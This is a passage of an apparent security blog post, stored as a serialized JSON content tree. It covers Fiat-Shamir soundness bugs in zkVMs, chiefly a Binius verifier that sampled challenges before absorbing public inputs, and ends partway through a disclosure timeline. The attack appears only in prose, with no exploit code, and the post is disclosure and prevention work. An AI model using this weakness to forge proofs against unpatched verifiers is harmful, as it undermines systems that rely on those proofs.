rops":121384,"children":121386},{"className":121385},[3799,3800,3801,3802],[121387],{"type":24,"tag":83,"props":121388,"children":121390},{"className":121389},[3753,3802],[121391],{"type":24,"tag":83,"props":121392,"children":121394},{"className":121393},[3753,3802],[121395,121400],{"type":24,"tag":83,"props":121396,"children":121398},{"className":121397},[3753,3802],[121399],{"type":29,"value":2867},{"type":24,"tag":83,"props":121401,"children":121403},{"className":121402},[3769],[121404],{"type":24,"tag":83,"props":121405,"children":121407},{"className":121406},[3774],[121408],{"type":24,"tag":83,"props":121409,"children":121411},{"className":121410},[3779],[121412],{"type":24,"tag":83,"props":121413,"children":121416},{"className":121414,"style":121415},[3784],"height:0.7463em;",[121417],{"type":24,"tag":83,"props":121418,"children":121419},{"style":112037},[121420,121424],{"type":24,"tag":83,"props":121421,"children":121423},{"className":121422,"style":108440},[3793],[],{"type":24,"tag":83,"props":121425,"children":121427},{"className":121426},[3799,108445,108446,3802],[121428],{"type":24,"tag":83,"props":121429,"children":121431},{"className":121430},[3753,3802],[121432],{"type":24,"tag":83,"props":121433,"children":121435},{"className":121434},[3753,3802],[121436],{"type":29,"value":29599},{"type":24,"tag":83,"props":121438,"children":121440},{"className":121439},[21485],[121441],{"type":29,"value":21488},{"type":24,"tag":83,"props":121443,"children":121445},{"className":121444},[3779],[121446],{"type":24,"tag":83,"props":121447,"children":121450},{"className":121448,"style":121449},[3784],"height:0.1776em;",[121451],{"type":24,"tag":83,"props":121452,"children":121453},{},[],{"type":29,"value":121455}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":121457,"children":121458},{},[121459,121461,121466],{"type":29,"value":121460},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":2040,"props":121462,"children":121463},{},[121464],{"type":29,"value":121465},"Shift Protocol",{"type":29,"value":121467}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":121469,"children":121470},{},[121471],{"type":24,"tag":2040,"props":121472,"children":121473},{},[121474],{"type":29,"value":120892},{"type":24,"tag":25,"props":121476,"children":121477},{},[121478],{"type":29,"value":121479},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":73,"props":121481,"children":121483},{"code":121482,"language":2724,"meta":7,"className":2725,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[121484],{"type":24,"tag":32,"props":121485,"children":121486},{"__ignoreMap":7},[121487,121522,121547,121581,121589],{"type":24,"tag":83,"props":121488,"children":121489},{"class":85,"line":86},[121490,121494,121498,121502,121506,121510,121514,121518],{"type":24,"tag":83,"props":121491,"children":121492},{"style":90},[121493],{"type":29,"value":13435},{"type":24,"tag":83,"props":121495,"children":121496},{"style":90},[121497],{"type":29,"value":13440},{"type":24,"tag":83,"props":121499,"children":121500},{"style":101},[121501],{"type":29,"value":7912},{"type":24,"tag":83,"props":121503,"children":121504},{"style":107},[121505],{"type":29,"value":5552},{"type":24,"tag":83,"props":121507,"children":121508},{"style":3163},[121509],{"type":29,"value":121358},{"type":24,"tag":83,"props":121511,"children":121512},{"style":107},[121513],{"type":29,"value":568},{"type":24,"tag":83,"props":121515,"children":121516},{"style":3163},[121517],{"type":29,"value":115809},{"type":24,"tag":83,"props":121519,"children":121520},{"style":107},[121521],{"type":29,"value":6335},{"type":24,"tag":83,"props":121523,"children":121524},{"class":85,"line":113},[121525,121530,121534,121538,121543],{"type":24,"tag":83,"props":121526,"children":121527},{"style":137},[121528],{"type":29,"value":121529},"    constraint_system",{"type":24,"tag":83,"props":121531,"children":121532},{"style":143},[121533],{"type":29,"value":195},{"type":24,"tag":83,"props":121535,"children":121536},{"style":143},[121537],{"type":29,"value":6888},{"type":24,"tag":83,"props":121539,"children":121540},{"style":3163},[121541],{"type":29,"value":121542},"ConstraintSystem",{"type":24,"tag":83,"props":121544,"children":121545},{"style":107},[121546],{"type":29,"value":989},{"type":24,"tag":83,"props":121548,"children":121549},{"class":85,"line":128},[121550,121554,121558,121562,121566,121571,121576],{"type":24,"tag":83,"props":121551,"children":121552},{"style":137},[121553],{"type":29,"value":7269},{"type":24,"tag":83,"props":121555,"children":121556},{"style":143},[121557],{"type":29,"value":195},{"type":24,"tag":83,"props":121559,"children":121560},{"style":143},[121561],{"type":29,"value":6888},{"type":24,"tag":83,"props":121563,"children":121564},{"style":107},[121565],{"type":29,"value":1161},{"type":24,"tag":83,"props":121567,"children":121568},{"style":3163},[121569],{"type":29,"value":121570},"Word",{"type":24,"tag":83,"props":121572,"children":121573},{"style":107},[121574],{"type":29,"value":121575},"],    ",{"type":24,"tag":83,"props":121577,"children":121578},{"style":2735},[121579],{"type":29,"value":121580},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":83,"props":121582,"children":121583},{"class":85,"line":183},[121584],{"type":24,"tag":83,"props":121585,"children":121586},{"style":2735},[121587],{"type":29,"value":121588},"    // ...\n",{"type":24,"tag":83,"props":121590,"children":121591},{"class":85,"line":203},[121592,121596,121600,121604,121608,121613,121617,121621,121625,121629],{"type":24,"tag":83,"props":121593,"children":121594},{"style":107},[121595],{"type":29,"value":633},{"type":24,"tag":83,"props":121597,"children":121598},{"style":143},[121599],{"type":29,"value":13502},{"type":24,"tag":83,"props":121601,"children":121602},{"style":3163},[121603],{"type":29,"value":13507},{"type":24,"tag":83,"props":121605,"children":121606},{"style":107},[121607],{"type":29,"value":5552},{"type":24,"tag":83,"props":121609,"children":121610},{"style":3163},[121611],{"type":29,"value":121612},"VerifyOutput",{"type":24,"tag":83,"props":121614,"children":121615},{"style":107},[121616],{"type":29,"value":5552},{"type":24,"tag":83,"props":121618,"children":121619},{"style":3163},[121620],{"type":29,"value":121358},{"type":24,"tag":83,"props":121622,"children":121623},{"style":107},[121624],{"type":29,"value":6377},{"type":24,"tag":83,"props":121626,"children":121627},{"style":3163},[121628],{"type":29,"value":37122},{"type":24,"tag":83,"props":121630,"children":121631},{"style":107},[121632],{"type":29,"value":5738},{"type":24,"tag":25,"props":121634,"children":121635},{},[121636,121638,121644,121645,121651,121653,121657],{"type":29,"value":121637},"In the shift protocol, challenges ",{"type":24,"tag":32,"props":121639,"children":121641},{"className":121640},[],[121642],{"type":29,"value":121643},"r_j",{"type":29,"value":2287},{"type":24,"tag":32,"props":121646,"children":121648},{"className":121647},[],[121649],{"type":29,"value":121650},"inout_eval_point",{"type":29,"value":121652}," are sampled ",{"type":24,"tag":2040,"props":121654,"children":121655},{},[121656],{"type":29,"value":104124},{"type":29,"value":121658}," the public witness is bound.",{"type":24,"tag":25,"props":121660,"children":121661},{},[121662],{"type":24,"tag":2040,"props":121663,"children":121664},{},[121665],{"type":29,"value":115012},{"type":24,"tag":25,"props":121667,"children":121668},{},[121669],{"type":24,"tag":2510,"props":121670,"children":121673},{"alt":121671,"src":121672},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":121675,"children":121676},{},[121677],{"type":29,"value":121678},"During verification",{"type":24,"tag":63,"props":121680,"children":121681},{},[121682,121702,121714,121733],{"type":24,"tag":67,"props":121683,"children":121684},{},[121685,121687,121692,121694,121700],{"type":29,"value":121686},"Sumcheck produces challenge points ",{"type":24,"tag":32,"props":121688,"children":121690},{"className":121689},[],[121691],{"type":29,"value":121643},{"type":29,"value":121693}," (bit indices) and ",{"type":24,"tag":32,"props":121695,"children":121697},{"className":121696},[],[121698],{"type":29,"value":121699},"r_s",{"type":29,"value":121701}," (shift indices)",{"type":24,"tag":67,"props":121703,"children":121704},{},[121705,121707,121712],{"type":29,"value":121706},"Verifier samples ",{"type":24,"tag":32,"props":121708,"children":121710},{"className":121709},[],[121711],{"type":29,"value":121650},{"type":29,"value":121713}," from transcript",{"type":24,"tag":67,"props":121715,"children":121716},{},[121717,121719,121725,121727,121732],{"type":29,"value":121718},"Verifier computes ",{"type":24,"tag":32,"props":121720,"children":121722},{"className":121721},[],[121723],{"type":29,"value":121724},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":121726}," using the unbound ",{"type":24,"tag":32,"props":121728,"children":121730},{"className":121729},[],[121731],{"type":29,"value":61390},{"type":29,"value":17870},{"type":24,"tag":67,"props":121734,"children":121735},{},[121736,121737,121743],{"type":29,"value":16348},{"type":24,"tag":32,"props":121738,"children":121740},{"className":121739},[],[121741],{"type":29,"value":121742},"public_eval",{"type":29,"value":121744}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":121746,"children":121747},{},[121748],{"type":29,"value":121749},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":121751,"children":121752},{},[121753],{"type":24,"tag":32,"props":121754,"children":121756},{"className":121755},[3726,3727],[121757],{"type":24,"tag":83,"props":121758,"children":121760},{"className":121759},[3732],[121761],{"type":24,"tag":83,"props":121762,"children":121764},{"className":121763,"ariaHidden":1237},[3737],[121765,121809,121949,122061],{"type":24,"tag":83,"props":121766,"children":121768},{"className":121767},[3742],[121769,121773,121782,121787,121796,121800,121805],{"type":24,"tag":83,"props":121770,"children":121772},{"className":121771,"style":94173},[3747],[],{"type":24,"tag":83,"props":121774,"children":121776},{"className":121775},[3753,29],[121777],{"type":24,"tag":83,"props":121778,"children":121780},{"className":121779},[3753],[121781],{"type":29,"value":61390},{"type":24,"tag":83,"props":121783,"children":121785},{"className":121784,"style":92760},[3753],[121786],{"type":29,"value":2827},{"type":24,"tag":83,"props":121788,"children":121790},{"className":121789},[3753,29],[121791],{"type":24,"tag":83,"props":121792,"children":121794},{"className":121793},[3753],[121795],{"type":29,"value":37271},{"type":24,"tag":83,"props":121797,"children":121799},{"className":121798,"style":3931},[3833],[],{"type":24,"tag":83,"props":121801,"children":121803},{"className":121802},[3936],[121804],{"type":29,"value":1275},{"type":24,"tag":83,"props":121806,"children":121808},{"className":121807,"style":3931},[3833],[],{"type":24,"tag":83,"props":121810,"children":121812},{"className":121811},[3742],[121813,121817,121889,121893,121906,121911,121916,121921,121926,121931,121936,121940,121945],{"type":24,"tag":83,"props":121814,"children":121816},{"className":121815,"style":118342},[3747],[],{"type":24,"tag":83,"props":121818,"children":121820},{"className":121819},[21364],[121821,121826],{"type":24,"tag":83,"props":121822,"children":121824},{"className":121823,"style":21371},[21364,21369,21370],[121825],{"type":29,"value":108375},{"type":24,"tag":83,"props":121827,"children":121829},{"className":121828},[3769],[121830],{"type":24,"tag":83,"props":121831,"children":121833},{"className":121832},[3774,21382],[121834,121878],{"type":24,"tag":83,"props":121835,"children":121837},{"className":121836},[3779],[121838,121873],{"type":24,"tag":83,"props":121839,"children":121841},{"className":121840,"style":113252},[3784],[121842],{"type":24,"tag":83,"props":121843,"children":121844},{"style":21395},[121845,121849],{"type":24,"tag":83,"props":121846,"children":121848},{"className":121847,"style":3794},[3793],[],{"type":24,"tag":83,"props":121850,"children":121852},{"className":121851},[3799,3800,3801,3802],[121853],{"type":24,"tag":83,"props":121854,"children":121856},{"className":121855},[3753,3802],[121857,121863,121868],{"type":24,"tag":83,"props":121858,"children":121861},{"className":121859,"style":121860},[3753,21328,3802],"margin-right:0.02691em;",[121862],{"type":29,"value":49288},{"type":24,"tag":83,"props":121864,"children":121866},{"className":121865},[3865,3802],[121867],{"type":29,"value":3868},{"type":24,"tag":83,"props":121869,"children":121871},{"className":121870},[3753,21328,3802],[121872],{"type":29,"value":2968},{"type":24,"tag":83,"props":121874,"children":121876},{"className":121875},[21485],[121877],{"type":29,"value":21488},{"type":24,"tag":83,"props":121879,"children":121881},{"className":121880},[3779],[121882],{"type":24,"tag":83,"props":121883,"children":121885},{"className":121884,"style":113818},[3784],[121886],{"type":24,"tag":83,"props":121887,"children":121888},{},[],{"type":24,"tag":83,"props":121890,"children":121892},{"className":121891,"style":3872},[3833],[],{"type":24,"tag":83,"props":121894,"children":121896},{"className":121895},[3753],[121897],{"type":24,"tag":83,"props":121898,"children":121900},{"className":121899},[3753,29],[121901],{"type":24,"tag":83,"props":121902,"children":121904},{"className":121903},[3753],[121905],{"type":29,"value":61390},{"type":24,"tag":83,"props":121907,"children":121909},{"className":121908},[21457],[121910],{"type":29,"value":1161},{"type":24,"tag":83,"props":121912,"children":121914},{"className":121913,"style":121860},[3753,21328],[121915],{"type":29,"value":49288},{"type":24,"tag":83,"props":121917,"children":121919},{"className":121918},[21479],[121920],{"type":29,"value":15151},{"type":24,"tag":83,"props":121922,"children":121924},{"className":121923},[21457],[121925],{"type":29,"value":1161},{"type":24,"tag":83,"props":121927,"children":121929},{"className":121928},[3753,21328],[121930],{"type":29,"value":2968},{"type":24,"tag":83,"props":121932,"children":121934},{"className":121933},[21479],[121935],{"type":29,"value":15151},{"type":24,"tag":83,"props":121937,"children":121939},{"className":121938,"style":3834},[3833],[],{"type":24,"tag":83,"props":121941,"children":121943},{"className":121942},[3839],[121944],{"type":29,"value":110842},{"type":24,"tag":83,"props":121946,"children":121948},{"className":121947,"style":3834},[3833],[],{"type":24,"tag":83,"props":121950,"children":121952},{"className":121951},[3742],[121953,121958,121967,121972,121977,121982,121986,122043,122048,122052,122057],{"type":24,"tag":83,"props":121954,"children":121957},{"className":121955,"style":121956},[3747],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":83,"props":121959,"children":121961},{"className":121960},[3753,29],[121962],{"type":24,"tag":83,"props":121963,"children":121965},{"className":121964},[3753],[121966],{"type":29,"value":112169},{"type":24,"tag":83,"props":121968,"children":121970},{"className":121969},[21457],[121971],{"type":29,"value":558},{"type":24,"tag":83,"props":121973,"children":121975},{"className":121974},[3753,21328],[121976],{"type":29,"value":2968},{"type":24,"tag":83,"props":121978,"children":121980},{"className":121979},[3865],[121981],{"type":29,"value":3868},{"type":24,"tag":83,"props":121983,"children":121985},{"className":121984,"style":3872},[3833],[],{"type":24,"tag":83,"props":121987,"children":121989},{"className":121988},[3753],[121990,121995],{"type":24,"tag":83,"props":121991,"children":121993},{"className":121992,"style":92760},[3753,21328],[121994],{"type":29,"value":93579},{"type":24,"tag":83,"props":121996,"children":121998},{"className":121997},[3769],[121999],{"type":24,"tag":83,"props":122000,"children":122002},{"className":122001},[3774,21382],[122003,122032],{"type":24,"tag":83,"props":122004,"children":122006},{"className":122005},[3779],[122007,122027],{"type":24,"tag":83,"props":122008,"children":122010},{"className":122009,"style":93289},[3784],[122011],{"type":24,"tag":83,"props":122012,"children":122013},{"style":109579},[122014,122018],{"type":24,"tag":83,"props":122015,"children":122017},{"className":122016,"style":3794},[3793],[],{"type":24,"tag":83,"props":122019,"children":122021},{"className":122020},[3799,3800,3801,3802],[122022],{"type":24,"tag":83,"props":122023,"children":122025},{"className":122024,"style":113803},[3753,21328,3802],[122026],{"type":29,"value":8401},{"type":24,"tag":83,"props":122028,"children":122030},{"className":122029},[21485],[122031],{"type":29,"value":21488},{"type":24,"tag":83,"props":122033,"children":122035},{"className":122034},[3779],[122036],{"type":24,"tag":83,"props":122037,"children":122039},{"className":122038,"style":118490},[3784],[122040],{"type":24,"tag":83,"props":122041,"children":122042},{},[],{"type":24,"tag":83,"props":122044,"children":122046},{"className":122045},[21479],[122047],{"type":29,"value":2872},{"type":24,"tag":83,"props":122049,"children":122051},{"className":122050,"style":3834},[3833],[],{"type":24,"tag":83,"props":122053,"children":122055},{"className":122054},[3839],[122056],{"type":29,"value":110842},{"type":24,"tag":83,"props":122058,"children":122060},{"className":122059,"style":3834},[3833],[],{"type":24,"tag":83,"props":122062,"children":122064},{"className":122063},[3742],[122065,122069,122078,122083,122088,122093,122097,122107,122112,122121,122126,122135],{"type":24,"tag":83,"props":122066,"children":122068},{"className":122067,"style":92702},[3747],[],{"type":24,"tag":83,"props":122070,"children":122072},{"className":122071},[3753,29],[122073],{"type":24,"tag":83,"props":122074,"children":122076},{"className":122075},[3753],[122077],{"type":29,"value":112169},{"type":24,"tag":83,"props":122079,"children":122081},{"className":122080},[21457],[122082],{"type":29,"value":558},{"type":24,"tag":83,"props":122084,"children":122086},{"className":122085,"style":121860},[3753,21328],[122087],{"type":29,"value":49288},{"type":24,"tag":83,"props":122089,"children":122091},{"className":122090},[3865],[122092],{"type":29,"value":3868},{"type":24,"tag":83,"props":122094,"children":122096},{"className":122095,"style":3872},[3833],[],{"type":24,"tag":83,"props":122098,"children":122100},{"className":122099},[3753,29],[122101],{"type":24,"tag":83,"props":122102,"children":122104},{"className":122103},[3753],[122105],{"type":29,"value":122106},"inout",{"type":24,"tag":83,"props":122108,"children":122110},{"className":122109,"style":92760},[3753],[122111],{"type":29,"value":2827},{"type":24,"tag":83,"props":122113,"children":122115},{"className":122114},[3753,29],[122116],{"type":24,"tag":83,"props":122117,"children":122119},{"className":122118},[3753],[122120],{"type":29,"value":37271},{"type":24,"tag":83,"props":122122,"children":122124},{"className":122123,"style":92760},[3753],[122125],{"type":29,"value":2827},{"type":24,"tag":83,"props":122127,"children":122129},{"className":122128},[3753,29],[122130],{"type":24,"tag":83,"props":122131,"children":122133},{"className":122132},[3753],[122134],{"type":29,"value":117365},{"type":24,"tag":83,"props":122136,"children":122138},{"className":122137},[21479],[122139],{"type":29,"value":2872},{"type":24,"tag":25,"props":122141,"children":122142},{},[122143,122145,122150,122152,122225],{"type":29,"value":122144},"With challenges fixed (independent of ",{"type":24,"tag":32,"props":122146,"children":122148},{"className":122147},[],[122149],{"type":29,"value":61390},{"type":29,"value":122151},"), an attacker can find an alternate witness ",{"type":24,"tag":32,"props":122153,"children":122155},{"className":122154},[3726,3727],[122156],{"type":24,"tag":83,"props":122157,"children":122159},{"className":122158},[3732],[122160],{"type":24,"tag":83,"props":122161,"children":122163},{"className":122162,"ariaHidden":1237},[3737],[122164],{"type":24,"tag":83,"props":122165,"children":122167},{"className":122166},[3742],[122168,122173],{"type":24,"tag":83,"props":122169,"children":122172},{"className":122170,"style":122171},[3747],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":122174,"children":122176},{"className":122175},[3753],[122177,122186],{"type":24,"tag":83,"props":122178,"children":122180},{"className":122179},[3753,29],[122181],{"type":24,"tag":83,"props":122182,"children":122184},{"className":122183},[3753],[122185],{"type":29,"value":61390},{"type":24,"tag":83,"props":122187,"children":122189},{"className":122188},[3769],[122190],{"type":24,"tag":83,"props":122191,"children":122193},{"className":122192},[3774],[122194],{"type":24,"tag":83,"props":122195,"children":122197},{"className":122196},[3779],[122198],{"type":24,"tag":83,"props":122199,"children":122202},{"className":122200,"style":122201},[3784],"height:0.8362em;",[122203],{"type":24,"tag":83,"props":122204,"children":122206},{"style":122205},"top:-3.1473em;margin-right:0.05em;",[122207,122211],{"type":24,"tag":83,"props":122208,"children":122210},{"className":122209,"style":3794},[3793],[],{"type":24,"tag":83,"props":122212,"children":122214},{"className":122213},[3799,3800,3801,3802],[122215],{"type":24,"tag":83,"props":122216,"children":122218},{"className":122217},[3753,3802],[122219],{"type":24,"tag":83,"props":122220,"children":122222},{"className":122221},[3753,3802],[122223],{"type":29,"value":122224},"′",{"type":29,"value":122226}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":122228,"children":122229},{},[122230,122234,122236],{"type":24,"tag":2040,"props":122231,"children":122232},{},[122233],{"type":29,"value":116290},{"type":29,"value":122235}," Fixed on December 29, 2025 via ",{"type":24,"tag":2033,"props":122237,"children":122240},{"href":122238,"rel":122239},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[2037],[122241],{"type":29,"value":122242},"commit 86a515f",{"type":24,"tag":18531,"props":122244,"children":122245},{},[],{"type":24,"tag":51,"props":122247,"children":122249},{"id":122248},"why-does-this-keep-happening",[122250],{"type":29,"value":122251},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":122253,"children":122254},{},[122255],{"type":29,"value":122256},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":1818,"props":122258,"children":122260},{"id":122259},"academic-papers-dont-specify-fiat-shamir",[122261],{"type":29,"value":122262},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":122264,"children":122265},{},[122266,122268,122273,122275,122300,122302,122305,122307,122332,122334,122361],{"type":29,"value":122267},"Academic papers usually describe ",{"type":24,"tag":2655,"props":122269,"children":122270},{},[122271],{"type":29,"value":122272},"interactive",{"type":29,"value":122274}," protocols: \"Prover sends ",{"type":24,"tag":32,"props":122276,"children":122278},{"className":122277},[3726,3727],[122279],{"type":24,"tag":83,"props":122280,"children":122282},{"className":122281},[3732],[122283],{"type":24,"tag":83,"props":122284,"children":122286},{"className":122285,"ariaHidden":1237},[3737],[122287],{"type":24,"tag":83,"props":122288,"children":122290},{"className":122289},[3742],[122291,122295],{"type":24,"tag":83,"props":122292,"children":122294},{"className":122293,"style":21323},[3747],[],{"type":24,"tag":83,"props":122296,"children":122298},{"className":122297,"style":21860},[3753,21328],[122299],{"type":29,"value":115809},{"type":29,"value":122301},". Verifier sends",{"type":24,"tag":30720,"props":122303,"children":122304},{},[],{"type":29,"value":122306},"random ",{"type":24,"tag":32,"props":122308,"children":122310},{"className":122309},[3726,3727],[122311],{"type":24,"tag":83,"props":122312,"children":122314},{"className":122313},[3732],[122315],{"type":24,"tag":83,"props":122316,"children":122318},{"className":122317,"ariaHidden":1237},[3737],[122319],{"type":24,"tag":83,"props":122320,"children":122322},{"className":122321},[3742],[122323,122327],{"type":24,"tag":83,"props":122324,"children":122326},{"className":122325,"style":110421},[3747],[],{"type":24,"tag":83,"props":122328,"children":122330},{"className":122329,"style":92760},[3753,21328],[122331],{"type":29,"value":93579},{"type":29,"value":122333},". Prover sends ",{"type":24,"tag":32,"props":122335,"children":122337},{"className":122336},[3726,3727],[122338],{"type":24,"tag":83,"props":122339,"children":122341},{"className":122340},[3732],[122342],{"type":24,"tag":83,"props":122343,"children":122345},{"className":122344,"ariaHidden":1237},[3737],[122346],{"type":24,"tag":83,"props":122347,"children":122349},{"className":122348},[3742],[122350,122354],{"type":24,"tag":83,"props":122351,"children":122353},{"className":122352,"style":21323},[3747],[],{"type":24,"tag":83,"props":122355,"children":122358},{"className":122356,"style":122357},[3753,21328],"margin-right:0.00773em;",[122359],{"type":29,"value":122360},"R",{"type":29,"value":122362},".\"",{"type":24,"tag":25,"props":122364,"children":122365},{},[122366,122368,122393,122395,122420],{"type":29,"value":122367},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":32,"props":122369,"children":122371},{"className":122370},[3726,3727],[122372],{"type":24,"tag":83,"props":122373,"children":122375},{"className":122374},[3732],[122376],{"type":24,"tag":83,"props":122377,"children":122379},{"className":122378,"ariaHidden":1237},[3737],[122380],{"type":24,"tag":83,"props":122381,"children":122383},{"className":122382},[3742],[122384,122388],{"type":24,"tag":83,"props":122385,"children":122387},{"className":122386,"style":21323},[3747],[],{"type":24,"tag":83,"props":122389,"children":122391},{"className":122390,"style":21860},[3753,21328],[122392],{"type":29,"value":115809},{"type":29,"value":122394}," before sampling ",{"type":24,"tag":32,"props":122396,"children":122398},{"className":122397},[3726,3727],[122399],{"type":24,"tag":83,"props":122400,"children":122402},{"className":122401},[3732],[122403],{"type":24,"tag":83,"props":122404,"children":122406},{"className":122405,"ariaHidden":1237},[3737],[122407],{"type":24,"tag":83,"props":122408,"children":122410},{"className":122409},[3742],[122411,122415],{"type":24,"tag":83,"props":122412,"children":122414},{"className":122413,"style":110421},[3747],[],{"type":24,"tag":83,"props":122416,"children":122418},{"className":122417,"style":92760},[3753,21328],[122419],{"type":29,"value":93579},{"type":29,"value":122421},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":122423,"children":122424},{},[122425],{"type":29,"value":122426},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":1818,"props":122428,"children":122430},{"id":122429},"the-hot-potato-problem",[122431],{"type":29,"value":122432},"The Hot Potato Problem",{"type":24,"tag":25,"props":122434,"children":122435},{},[122436],{"type":29,"value":122437},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":122439,"children":122440},{},[122441],{"type":24,"tag":2510,"props":122442,"children":122445},{"alt":122443,"src":122444},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":122447,"children":122448},{},[122449],{"type":29,"value":122450},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":1818,"props":122452,"children":122454},{"id":122453},"optimization-pressure",[122455],{"type":29,"value":122456},"Optimization Pressure",{"type":24,"tag":25,"props":122458,"children":122459},{},[122460],{"type":29,"value":122461},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":122463,"children":122464},{},[122465],{"type":29,"value":122466},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":1818,"props":122468,"children":122470},{"id":122469},"testing-doesnt-catch-adversarial-inputs",[122471],{"type":29,"value":122472},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":122474,"children":122475},{},[122476],{"type":29,"value":122477},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":18531,"props":122479,"children":122480},{},[],{"type":24,"tag":51,"props":122482,"children":122484},{"id":122483},"how-to-find-and-fix-these-bugs",[122485],{"type":29,"value":122486},"How to Find and Fix These Bugs",{"type":24,"tag":1818,"props":122488,"children":122490},{"id":122489},"prevention",[122491],{"type":29,"value":122492},"Prevention",{"type":24,"tag":25,"props":122494,"children":122495},{},[122496],{"type":29,"value":122497},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":122499,"children":122500},{},[122501],{"type":29,"value":122502},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":122504,"children":122505},{},[122506],{"type":29,"value":122507},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":122509,"children":122510},{},[122511],{"type":29,"value":122512},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":122514,"children":122515},{},[122516],{"type":29,"value":122517},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":18531,"props":122519,"children":122520},{},[],{"type":24,"tag":51,"props":122522,"children":122524},{"id":122523},"responsible-disclosure-timeline",[122525],{"type":29,"value":122526},"Responsible Disclosure Timeline",{"type":24,"tag":55458,"props":122528,"children":122529},{},[122530,122558],{"type":24,"tag":122531,"props":122532,"children":122533},"thead",{},[122534],{"type":24,"tag":122535,"props":122536,"children":122537},"tr",{},[122538,122543,122548,122553],{"type":24,"tag":122539,"props":122540,"children":122541},"th",{},[122542],{"type":29,"value":22947},{"type":24,"tag":122539,"props":122544,"children":122545},{},[122546],{"type":29,"value":122547},"Reported",{"type":24,"tag":122539,"props":122549,"children":122550},{},[122551],{"type":29,"value":122552},"Fixed",{"type":24,"tag":122539,"props":122554,"children":122555},{},[122556],{"type":29,"value":122557},"Response Time",{"type":24,"tag":122559,"props":122560,"children":122561},"tbody",{},[122562,122585,122606,122626,122648,122669],{"type":24,"tag":122535,"props":122563,"children":122564},{},[122565,122570,122575,122580],{"type":24,"tag":122566,"props":122567,"children":122568},"td",{},[122569],{"type":29,"value":107393},{"type":24,"tag":122566,"props":122571,"children":122572},{},[122573],{"type":29,"value":122574},"Sep 2025",{"type":24,"tag":122566,"props":122576,"children":122577},{},[122578],{"type":29,"value":122579},"Oct 3, 2025",{"type":24,"tag":122566,"props":122581,"children":122582},{},[122583],{"type":29,"value":122584},"\u003C1 week",{"type":24,"tag":122535,"props":122586,"children":122587},{},[122588,122592,122597,122602],{"type":24,"tag":122566,"props":122589,"children":122590},{},[122591],{"type":29,"value":107399},{"type":24,"tag":122566,"props":122593,"children":122594},{},[122595],{"type":29,"value":122596},"Oct 2025",{"type":24,"tag":122566,"props":122598,"children":122599},{},[122600],{"type":29,"value":122601},"Oct 24, 2025",{"type":24,"tag":122566,"props":122603,"children":122604},{},[122605],{"type":29,"value":122584},{"type":24,"tag":122535,"props":122607,"children":122608},{},[122609,122613,122617,122622],{"type":24,"tag":122566,"props":122610,"children":122611},{},[122612],{"type":29,"value":107405},{"type":24,"tag":122566,"props":122614,"children":122615},{},[122616],{"type":29,"value":122596},{"type":24,"tag":122566,"props":122618,"children":122619},{},[122620],{"type":29,"value":122621},"Oct 31, 2025",{"type":24,"tag":122566,"props":122623,"children":122624},{},[122625],{"type":29,"value":122584},{"type":24,"tag":122535,"props":122627,"children":122628},{},[122629,122633,122638,122643],{"type":24,"tag":122566,"props":122630,"children":122631},{},[122632],{"type":29,"value":107411},{"type":24,"tag":122566,"props":122634,"children":122635},{},[122636],{"type":29,"value":122637},"Nov 